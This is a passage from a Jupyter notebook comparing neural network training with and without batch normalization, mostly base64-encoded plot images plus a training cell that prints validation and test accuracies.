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\nL7MhH1jUT5fVAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa6b4cafd0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 2, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With this very large learning rate, the network with batch normalization trains fine and almost immediately manages 98% accuracy. However, the network without normalization doesn't learn at all." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 2, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1395.37it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9795997142791748\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:38<00:00, 506.05it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9803997278213501\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9782001376152039\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9782000780105591\n" ] }, { "data": { "image/png": "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